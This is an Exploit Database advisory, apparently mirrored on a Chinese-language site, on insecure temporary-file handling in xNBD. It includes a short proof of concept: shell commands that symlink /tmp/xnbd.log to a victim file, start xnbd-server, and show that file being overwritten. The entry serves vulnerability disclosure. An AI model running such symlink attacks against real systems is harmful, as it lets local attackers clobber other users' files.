xNBD – ‘/tmp/xnbd.log’ Insecure Temporary File Handling

• Exploit Database
• 14 阅读

• 作者： Sebastian Pipping
  日期： 2013-02-06
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/38298/

• source: https://www.securityfocus.com/bid/57784/info
  
  xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 
  
  Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.
  
  $ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log
  
  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK
  
  $ /usr/sbin/xnbd-server --daemonize --target DISK
  xnbd-server(12462) msg: daemonize enabled
  xnbd-server(12462) msg: cmd target mode
  xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
  xnbd-server(12462) msg: xnbd master initialization done
  xnbd-server(12462) msg: logfile /tmp/xnbd.log
  
  $ ls -l ~/ATTACK_TARGET
  -rw------- 1 user123 user123 653 Feb1 16:41 \
  /home/user123/ATTACK_TARGET